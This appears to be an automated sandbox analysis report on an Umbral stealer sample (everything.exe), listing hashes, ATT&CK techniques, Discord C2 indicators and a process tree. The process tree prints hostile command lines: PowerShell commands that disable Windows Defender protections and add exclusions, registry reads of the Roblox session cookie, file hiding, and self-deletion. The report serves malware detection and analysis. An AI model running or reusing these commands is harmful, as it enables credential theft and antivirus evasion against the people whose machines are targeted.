umbral | 63d3d7fa239794ce2b47c70445eee9cb6549fde64dea4185f17df6ace12d1c4a

Analysis

max time kernel
33s
max time network
34s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
18-09-2024 07:01

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General

Target

everything.exe
Size

231KB
MD5

46bbe6bc5429714093c47fd3ab01c078
SHA1

67507abcd9e1be3b86b0efb57b60266ac609481f
SHA256

63d3d7fa239794ce2b47c70445eee9cb6549fde64dea4185f17df6ace12d1c4a
SHA512

2e0ce4935cb658e3dadc78bc2d5ce779e4d9f9be491d3b09436bf16de74ab42beb5b41adaf3f9f1ae5c918e16d5f90428ab269cb78fb8df00bdae666e8e9f56a
SSDEEP

6144:RloZM9rIkd8g+EtXHkv/iD4r6lHLxCqVAQhTuOL4lb8e1m5Mhi:joZOL+EP8r6lHLxCqVAQhTuOLEI

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1180-1-0x0000017023830000-0x0000017023870000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4996	powershell.exe
796	powershell.exe
2508	powershell.exe
4760	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	everything.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
412	PING.EXE
4436	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4780	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
412	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4996	powershell.exe
4996	powershell.exe
796	powershell.exe
796	powershell.exe
2508	powershell.exe
2508	powershell.exe
2332	powershell.exe
2332	powershell.exe
4760	powershell.exe
4760	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1180	everything.exe
Token: SeDebugPrivilege	4996	powershell.exe
Token: SeDebugPrivilege	796	powershell.exe
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeDebugPrivilege	2332	powershell.exe
Token: SeIncreaseQuotaPrivilege	3836	wmic.exe
Token: SeSecurityPrivilege	3836	wmic.exe
Token: SeTakeOwnershipPrivilege	3836	wmic.exe
Token: SeLoadDriverPrivilege	3836	wmic.exe
Token: SeSystemProfilePrivilege	3836	wmic.exe
Token: SeSystemtimePrivilege	3836	wmic.exe
Token: SeProfSingleProcessPrivilege	3836	wmic.exe
Token: SeIncBasePriorityPrivilege	3836	wmic.exe
Token: SeCreatePagefilePrivilege	3836	wmic.exe
Token: SeBackupPrivilege	3836	wmic.exe
Token: SeRestorePrivilege	3836	wmic.exe
Token: SeShutdownPrivilege	3836	wmic.exe
Token: SeDebugPrivilege	3836	wmic.exe
Token: SeSystemEnvironmentPrivilege	3836	wmic.exe
Token: SeRemoteShutdownPrivilege	3836	wmic.exe
Token: SeUndockPrivilege	3836	wmic.exe
Token: SeManageVolumePrivilege	3836	wmic.exe
Token: 33	3836	wmic.exe
Token: 34	3836	wmic.exe
Token: 35	3836	wmic.exe
Token: 36	3836	wmic.exe
Token: SeIncreaseQuotaPrivilege	3836	wmic.exe
Token: SeSecurityPrivilege	3836	wmic.exe
Token: SeTakeOwnershipPrivilege	3836	wmic.exe
Token: SeLoadDriverPrivilege	3836	wmic.exe
Token: SeSystemProfilePrivilege	3836	wmic.exe
Token: SeSystemtimePrivilege	3836	wmic.exe
Token: SeProfSingleProcessPrivilege	3836	wmic.exe
Token: SeIncBasePriorityPrivilege	3836	wmic.exe
Token: SeCreatePagefilePrivilege	3836	wmic.exe
Token: SeBackupPrivilege	3836	wmic.exe
Token: SeRestorePrivilege	3836	wmic.exe
Token: SeShutdownPrivilege	3836	wmic.exe
Token: SeDebugPrivilege	3836	wmic.exe
Token: SeSystemEnvironmentPrivilege	3836	wmic.exe
Token: SeRemoteShutdownPrivilege	3836	wmic.exe
Token: SeUndockPrivilege	3836	wmic.exe
Token: SeManageVolumePrivilege	3836	wmic.exe
Token: 33	3836	wmic.exe
Token: 34	3836	wmic.exe
Token: 35	3836	wmic.exe
Token: 36	3836	wmic.exe
Token: SeIncreaseQuotaPrivilege	3064	wmic.exe
Token: SeSecurityPrivilege	3064	wmic.exe
Token: SeTakeOwnershipPrivilege	3064	wmic.exe
Token: SeLoadDriverPrivilege	3064	wmic.exe
Token: SeSystemProfilePrivilege	3064	wmic.exe
Token: SeSystemtimePrivilege	3064	wmic.exe
Token: SeProfSingleProcessPrivilege	3064	wmic.exe
Token: SeIncBasePriorityPrivilege	3064	wmic.exe
Token: SeCreatePagefilePrivilege	3064	wmic.exe
Token: SeBackupPrivilege	3064	wmic.exe
Token: SeRestorePrivilege	3064	wmic.exe
Token: SeShutdownPrivilege	3064	wmic.exe
Token: SeDebugPrivilege	3064	wmic.exe
Token: SeSystemEnvironmentPrivilege	3064	wmic.exe
Token: SeRemoteShutdownPrivilege	3064	wmic.exe
Token: SeUndockPrivilege	3064	wmic.exe
Token: SeManageVolumePrivilege	3064	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1180 wrote to memory of 3552	1180	everything.exe	82
PID 1180 wrote to memory of 3552	1180	everything.exe	82
PID 1180 wrote to memory of 4996	1180	everything.exe	84
PID 1180 wrote to memory of 4996	1180	everything.exe	84
PID 1180 wrote to memory of 796	1180	everything.exe	86
PID 1180 wrote to memory of 796	1180	everything.exe	86
PID 1180 wrote to memory of 2508	1180	everything.exe	89
PID 1180 wrote to memory of 2508	1180	everything.exe	89
PID 1180 wrote to memory of 2332	1180	everything.exe	92
PID 1180 wrote to memory of 2332	1180	everything.exe	92
PID 1180 wrote to memory of 3836	1180	everything.exe	96
PID 1180 wrote to memory of 3836	1180	everything.exe	96
PID 1180 wrote to memory of 3064	1180	everything.exe	98
PID 1180 wrote to memory of 3064	1180	everything.exe	98
PID 1180 wrote to memory of 4080	1180	everything.exe	100
PID 1180 wrote to memory of 4080	1180	everything.exe	100
PID 1180 wrote to memory of 4760	1180	everything.exe	102
PID 1180 wrote to memory of 4760	1180	everything.exe	102
PID 1180 wrote to memory of 4780	1180	everything.exe	104
PID 1180 wrote to memory of 4780	1180	everything.exe	104
PID 1180 wrote to memory of 4436	1180	everything.exe	106
PID 1180 wrote to memory of 4436	1180	everything.exe	106
PID 4436 wrote to memory of 412	4436	cmd.exe	108
PID 4436 wrote to memory of 412	4436	cmd.exe	108

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3552	attrib.exe

C:\Users\Admin\AppData\Local\Temp\everything.exe
"C:\Users\Admin\AppData\Local\Temp\everything.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1180
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\everything.exe"
  2⤵
  - Views/modifies file attributes
  PID:3552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\everything.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2332
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3836
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3064
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4760
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4780
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\everything.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
5f0ddc7f3691c81ee14d17b419ba220d

SHA1
f0ef5fde8bab9d17c0b47137e014c91be888ee53

SHA256
a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5

SHA512
2ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
bc051b3c05d1eb94762dce48e30f69d2

SHA1
014ec7fdc6303d58ead35afc65e186f9c66de9e2

SHA256
4849d78ba5085ee3c5fef729f8a6e1c6415333d4a3926370c681946a326c999b

SHA512
3d072c51513c71cd28897702dc380e2600a4c60f1d5b4ed59f6340c1f13270043e0a5c14b7aae0fa55a6fcd628456f69248aeb152027c9f6ee15179beb99992b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d2648d0b3b63d7ae2e6cf02f246ca993

SHA1
5b929f76657bcbfed97257afef993c54e8182250

SHA256
eb6da93c73986dec04f7a2325c3bf31e93cdc78861954f1ee86a9f0fbca896e0

SHA512
d74d78a8dabf85b3b8f95618ace6331ed15925c7331b92ca35b80b0e491044d96a51a2f1d22dd6563afd8e8f47aec3df8ae45dc5f496f76f2b4022c3e1436581

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ikcgw1ai.pya.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1180-71-0x000001703DE40000-0x000001703DE4A000-memory.dmp

Filesize
40KB

Download
memory/1180-35-0x000001703E060000-0x000001703E07E000-memory.dmp

Filesize
120KB

Download
memory/1180-90-0x00007FF9A3A90000-0x00007FF9A4551000-memory.dmp

Filesize
10.8MB

Download
memory/1180-72-0x000001703E180000-0x000001703E192000-memory.dmp

Filesize
72KB

Download
memory/1180-2-0x00007FF9A3A90000-0x00007FF9A4551000-memory.dmp

Filesize
10.8MB

Download
memory/1180-33-0x000001703DFE0000-0x000001703E056000-memory.dmp

Filesize
472KB

Download
memory/1180-34-0x000001703DF60000-0x000001703DFB0000-memory.dmp

Filesize
320KB

Download
memory/1180-0-0x00007FF9A3A93000-0x00007FF9A3A95000-memory.dmp

Filesize
8KB

Download
memory/1180-1-0x0000017023830000-0x0000017023870000-memory.dmp

Filesize
256KB

Download
memory/4996-15-0x00007FF9A3A90000-0x00007FF9A4551000-memory.dmp

Filesize
10.8MB

Download
memory/4996-14-0x00007FF9A3A90000-0x00007FF9A4551000-memory.dmp

Filesize
10.8MB

Download
memory/4996-12-0x000001D248D00000-0x000001D248D22000-memory.dmp

Filesize
136KB

Download
memory/4996-13-0x00007FF9A3A90000-0x00007FF9A4551000-memory.dmp

Filesize
10.8MB

Download
memory/4996-18-0x00007FF9A3A90000-0x00007FF9A4551000-memory.dmp

Filesize
10.8MB

Download